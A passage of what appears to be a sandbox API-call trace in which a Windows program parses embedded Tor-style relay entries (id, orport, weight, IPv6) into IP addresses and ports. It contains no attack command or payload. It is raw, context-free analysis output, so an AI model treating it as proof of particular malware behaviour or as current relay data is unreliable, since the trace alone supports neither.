_Str2="id=", _MaxCount=0x3) returned 0 [0115.642] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.642] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.642] strtol (in: _Str="2a02:168:6e00:0:3a60:77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":168:6e00:0:3a60:77ff:fe9c:8bd1]:900") returned 10754 [0115.642] strtol (in: _Str="168:6e00:0:3a60:77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":6e00:0:3a60:77ff:fe9c:8bd1]:900") returned 360 [0115.642] strtol (in: _Str="6e00:0:3a60:77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":0:3a60:77ff:fe9c:8bd1]:900") returned 28160 [0115.642] strtol (in: _Str="0:3a60:77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":3a60:77ff:fe9c:8bd1]:900") returned 0 [0115.642] strtol (in: _Str="3a60:77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":77ff:fe9c:8bd1]:900") returned 14944 [0115.642] strtol (in: _Str="77ff:fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":fe9c:8bd1]:900") returned 30719 [0115.642] strtol (in: _Str="fe9c:8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":8bd1]:900") returned 65180 [0115.642] strtol (in: _Str="8bd1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:900") returned 35793 [0115.642] strtol (in: _Str="9001", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9001 [0115.642] _errno () returned 0x9f07d8 [0115.642] strtol (in: _Str="2a02:168:6e00:0:3a60:77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":168:6e00:0:3a60:77ff:fe9c:8bd1") returned 10754 [0115.642] strtol (in: _Str="168:6e00:0:3a60:77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":6e00:0:3a60:77ff:fe9c:8bd1") returned 360 [0115.642] strtol (in: _Str="6e00:0:3a60:77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":0:3a60:77ff:fe9c:8bd1") returned 28160 [0115.642] strtol (in: _Str="0:3a60:77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":3a60:77ff:fe9c:8bd1") returned 0 [0115.642] strtol (in: _Str="3a60:77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":77ff:fe9c:8bd1") returned 14944 [0115.642] strtol (in: _Str="77ff:fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":fe9c:8bd1") returned 30719 [0115.642] strtol (in: _Str="fe9c:8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":8bd1") returned 65180 [0115.642] strtol (in: _Str="8bd1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 35793 [0115.642] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.642] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.642] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.642] _errno () returned 0x9f07d8 [0115.642] localeconv () returned 0x75db2b80 [0115.643] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.643] _errno () returned 0x9f07d8 [0115.643] htonl (hostlong=0xd433867b) returned 0x7b8633d4 [0115.643] htonl (hostlong=0x7b8633d4) returned 0xd433867b [0115.643] htonl (hostlong=0x7b8633d4) returned 0xd433867b [0115.643] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="212.51.134.123") returned 14 [0115.643] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.643] _errno () returned 0x9f07d8 [0115.643] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.643] _errno () returned 0x9f07d8 [0115.643] strncmp (_Str1="id=5665", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.643] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.643] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.643] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.643] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.643] _errno () returned 0x9f07d8 [0115.643] localeconv () returned 0x75db2b80 [0115.643] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.643] _errno () returned 0x9f07d8 [0115.643] htonl (hostlong=0x5e17ccaf) returned 0xafcc175e [0115.643] htonl (hostlong=0xafcc175e) returned 0x5e17ccaf [0115.643] htonl (hostlong=0xafcc175e) returned 0x5e17ccaf [0115.643] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="94.23.204.175") returned 13 [0115.643] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.643] _errno () returned 0x9f07d8 [0115.643] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.643] _errno () returned 0x9f07d8 [0115.643] strncmp (_Str1="id=5714", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.643] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.643] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.643] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.643] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.643] _errno () returned 0x9f07d8 [0115.643] localeconv () returned 0x75db2b80 [0115.643] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.643] _errno () returned 0x9f07d8 [0115.643] htonl (hostlong=0x6da3ea09) returned 0x9eaa36d [0115.643] htonl (hostlong=0x9eaa36d) returned 0x6da3ea09 [0115.643] htonl (hostlong=0x9eaa36d) returned 0x6da3ea09 [0115.643] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="109.163.234.9") returned 13 [0115.643] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.644] _errno () returned 0x9f07d8 [0115.644] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.644] _errno () returned 0x9f07d8 [0115.644] strncmp (_Str1="id=58ED", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.644] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.644] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.644] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.644] strtol (in: _Str="2a00:1158:2:cd00:0:74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":1158:2:cd00:0:74:6f:72]:44") returned 10752 [0115.644] strtol (in: _Str="1158:2:cd00:0:74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":2:cd00:0:74:6f:72]:44") returned 4440 [0115.644] strtol (in: _Str="2:cd00:0:74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":cd00:0:74:6f:72]:44") returned 2 [0115.644] strtol (in: _Str="cd00:0:74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":0:74:6f:72]:44") returned 52480 [0115.644] strtol (in: _Str="0:74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":74:6f:72]:44") returned 0 [0115.644] strtol (in: _Str="74:6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":6f:72]:44") returned 116 [0115.644] strtol (in: _Str="6f:72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":72]:44") returned 111 [0115.644] strtol (in: _Str="72]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:44") returned 114 [0115.644] strtol (in: _Str="443", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 443 [0115.644] _errno () returned 0x9f07d8 [0115.644] strtol (in: _Str="2a00:1158:2:cd00:0:74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":1158:2:cd00:0:74:6f:72") returned 10752 [0115.644] strtol (in: _Str="1158:2:cd00:0:74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":2:cd00:0:74:6f:72") returned 4440 [0115.644] strtol (in: _Str="2:cd00:0:74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":cd00:0:74:6f:72") returned 2 [0115.644] strtol (in: _Str="cd00:0:74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":0:74:6f:72") returned 52480 [0115.644] strtol (in: _Str="0:74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":74:6f:72") returned 0 [0115.644] strtol (in: _Str="74:6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":6f:72") returned 116 [0115.644] strtol (in: _Str="6f:72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":72") returned 111 [0115.644] strtol (in: _Str="72", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 114 [0115.644] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.644] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.644] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.644] _errno () returned 0x9f07d8 [0115.644] localeconv () returned 0x75db2b80 [0115.644] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.644] _errno () returned 0x9f07d8 [0115.644] htonl (hostlong=0xb9156432) returned 0x326415b9 [0115.644] htonl (hostlong=0x326415b9) returned 0xb9156432 [0115.644] htonl (hostlong=0x326415b9) returned 0xb9156432 [0115.644] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="185.21.100.50") returned 13 [0115.644] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.644] _errno () returned 0x9f07d8 [0115.644] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.644] _errno () returned 0x9f07d8 [0115.644] strncmp (_Str1="id=5A5E", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.645] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.645] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.645] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.645] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.645] _errno () returned 0x9f07d8 [0115.645] localeconv () returned 0x75db2b80 [0115.645] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.645] _errno () returned 0x9f07d8 [0115.645] htonl (hostlong=0x4e8e8ef6) returned 0xf68e8e4e [0115.645] htonl (hostlong=0xf68e8e4e) returned 0x4e8e8ef6 [0115.645] htonl (hostlong=0xf68e8e4e) returned 0x4e8e8ef6 [0115.645] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="78.142.142.246") returned 14 [0115.645] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.645] _errno () returned 0x9f07d8 [0115.645] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.645] _errno () returned 0x9f07d8 [0115.645] strncmp (_Str1="id=5CF8", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.645] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.645] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.645] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.645] strtol (in: _Str="2a00:1c20:4089:1234:a6a4:2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":1c20:4089:1234:a6a4:2926:d0af:dfee]:44") returned 10752 [0115.645] strtol (in: _Str="1c20:4089:1234:a6a4:2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":4089:1234:a6a4:2926:d0af:dfee]:44") returned 7200 [0115.645] strtol (in: _Str="4089:1234:a6a4:2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":1234:a6a4:2926:d0af:dfee]:44") returned 16521 [0115.645] strtol (in: _Str="1234:a6a4:2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":a6a4:2926:d0af:dfee]:44") returned 4660 [0115.645] strtol (in: _Str="a6a4:2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":2926:d0af:dfee]:44") returned 42660 [0115.645] strtol (in: _Str="2926:d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":d0af:dfee]:44") returned 10534 [0115.645] strtol (in: _Str="d0af:dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":dfee]:44") returned 53423 [0115.645] strtol (in: _Str="dfee]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:44") returned 57326 [0115.645] strtol (in: _Str="443", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 443 [0115.645] _errno () returned 0x9f07d8 [0115.645] strtol (in: _Str="2a00:1c20:4089:1234:a6a4:2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":1c20:4089:1234:a6a4:2926:d0af:dfee") returned 10752 [0115.645] strtol (in: _Str="1c20:4089:1234:a6a4:2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":4089:1234:a6a4:2926:d0af:dfee") returned 7200 [0115.645] strtol (in: _Str="4089:1234:a6a4:2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":1234:a6a4:2926:d0af:dfee") returned 16521 [0115.645] strtol (in: _Str="1234:a6a4:2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":a6a4:2926:d0af:dfee") returned 4660 [0115.645] strtol (in: _Str="a6a4:2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":2926:d0af:dfee") returned 42660 [0115.645] strtol (in: _Str="2926:d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":d0af:dfee") returned 10534 [0115.645] strtol (in: _Str="d0af:dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":dfee") returned 53423 [0115.645] strtol (in: _Str="dfee", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 57326 [0115.645] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.645] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.645] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.645] _errno () returned 0x9f07d8 [0115.646] localeconv () returned 0x75db2b80 [0115.646] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.646] _errno () returned 0x9f07d8 [0115.646] htonl (hostlong=0xb210d03e) returned 0x3ed010b2 [0115.646] htonl (hostlong=0x3ed010b2) returned 0xb210d03e [0115.646] htonl (hostlong=0x3ed010b2) returned 0xb210d03e [0115.646] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.16.208.62") returned 13 [0115.646] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.646] _errno () returned 0x9f07d8 [0115.646] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.646] _errno () returned 0x9f07d8 [0115.646] strncmp (_Str1="id=6160", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.646] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.646] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.646] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.646] strtol (in: _Str="2a02:ec0:209:10::4]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":ec0:209:10::4]:44") returned 10754 [0115.646] strtol (in: _Str="ec0:209:10::4]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":209:10::4]:44") returned 3776 [0115.646] strtol (in: _Str="209:10::4]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":10::4]:44") returned 521 [0115.646] strtol (in: _Str="10::4]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::4]:44") returned 16 [0115.646] strtol (in: _Str="4]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:44") returned 4 [0115.646] strtol (in: _Str="443", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 443 [0115.646] _errno () returned 0x9f07d8 [0115.646] strtol (in: _Str="2a02:ec0:209:10::4", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":ec0:209:10::4") returned 10754 [0115.646] strtol (in: _Str="ec0:209:10::4", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":209:10::4") returned 3776 [0115.646] strtol (in: _Str="209:10::4", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":10::4") returned 521 [0115.646] strtol (in: _Str="10::4", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::4") returned 16 [0115.646] strtol (in: _Str="4", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 4 [0115.646] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.646] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.646] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.646] _errno () returned 0x9f07d8 [0115.646] localeconv () returned 0x75db2b80 [0115.646] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.646] _errno () returned 0x9f07d8 [0115.646] htonl (hostlong=0x5f802ba4) returned 0xa42b805f [0115.646] htonl (hostlong=0xa42b805f) returned 0x5f802ba4 [0115.646] htonl (hostlong=0xa42b805f) returned 0x5f802ba4 [0115.646] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="95.128.43.164") returned 13 [0115.646] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.646] _errno () returned 0x9f07d8 [0115.646] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.647] _errno () returned 0x9f07d8 [0115.647] strncmp (_Str1="id=6418", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.647] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.647] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.647] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.647] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.647] _errno () returned 0x9f07d8 [0115.647] localeconv () returned 0x75db2b80 [0115.647] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.647] _errno () returned 0x9f07d8 [0115.647] htonl (hostlong=0x59bb8ed0) returned 0xd08ebb59 [0115.647] htonl (hostlong=0xd08ebb59) returned 0x59bb8ed0 [0115.647] htonl (hostlong=0xd08ebb59) returned 0x59bb8ed0 [0115.647] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="89.187.142.208") returned 14 [0115.647] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.647] _errno () returned 0x9f07d8 [0115.647] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.647] _errno () returned 0x9f07d8 [0115.647] strncmp (_Str1="id=7350", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.647] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.647] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.647] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.647] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.647] _errno () returned 0x9f07d8 [0115.647] localeconv () returned 0x75db2b80 [0115.647] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.647] _errno () returned 0x9f07d8 [0115.647] htonl (hostlong=0xb01fbf1a) returned 0x1abf1fb0 [0115.647] htonl (hostlong=0x1abf1fb0) returned 0xb01fbf1a [0115.647] htonl (hostlong=0x1abf1fb0) returned 0xb01fbf1a [0115.647] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="176.31.191.26") returned 13 [0115.647] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.647] _errno () returned 0x9f07d8 [0115.647] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.647] _errno () returned 0x9f07d8 [0115.647] strncmp (_Str1="id=75F1", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.647] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.647] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.648] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.648] strtol (in: _Str="2a03:b0c0:3:d0::208:5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":b0c0:3:d0::208:5001]:905") returned 10755 [0115.648] strtol (in: _Str="b0c0:3:d0::208:5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":3:d0::208:5001]:905") returned 45248 [0115.648] strtol (in: _Str="3:d0::208:5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":d0::208:5001]:905") returned 3 [0115.648] strtol (in: _Str="d0::208:5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::208:5001]:905") returned 208 [0115.648] strtol (in: _Str="208:5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":5001]:905") returned 520 [0115.648] strtol (in: _Str="5001]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:905") returned 20481 [0115.648] strtol (in: _Str="9050", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9050 [0115.648] _errno () returned 0x9f07d8 [0115.648] strtol (in: _Str="2a03:b0c0:3:d0::208:5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":b0c0:3:d0::208:5001") returned 10755 [0115.648] strtol (in: _Str="b0c0:3:d0::208:5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":3:d0::208:5001") returned 45248 [0115.648] strtol (in: _Str="3:d0::208:5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":d0::208:5001") returned 3 [0115.648] strtol (in: _Str="d0::208:5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::208:5001") returned 208 [0115.648] strtol (in: _Str="208:5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":5001") returned 520 [0115.648] strtol (in: _Str="5001", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 20481 [0115.648] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.648] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.648] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.648] _errno () returned 0x9f07d8 [0115.648] localeconv () returned 0x75db2b80 [0115.648] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.648] _errno () returned 0x9f07d8 [0115.648] htonl (hostlong=0x2e65edf6) returned 0xf6ed652e [0115.648] htonl (hostlong=0xf6ed652e) returned 0x2e65edf6 [0115.648] htonl (hostlong=0xf6ed652e) returned 0x2e65edf6 [0115.648] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.101.237.246") returned 14 [0115.648] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.648] _errno () returned 0x9f07d8 [0115.692] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.692] _errno () returned 0x9f07d8 [0115.692] strncmp (_Str1="id=794D", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.692] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.692] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.692] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.692] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.692] _errno () returned 0x9f07d8 [0115.692] localeconv () returned 0x75db2b80 [0115.692] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.692] _errno () returned 0x9f07d8 [0115.692] htonl (hostlong=0xb90bb443) returned 0x43b40bb9 [0115.692] htonl (hostlong=0x43b40bb9) returned 0xb90bb443 [0115.692] htonl (hostlong=0x43b40bb9) returned 0xb90bb443 [0115.692] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="185.11.180.67") returned 13 [0115.692] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.692] _errno () returned 0x9f07d8 [0115.692] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.692] _errno () returned 0x9f07d8 [0115.692] strncmp (_Str1="id=79E1", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.693] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.693] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.693] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.693] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.693] _errno () returned 0x9f07d8 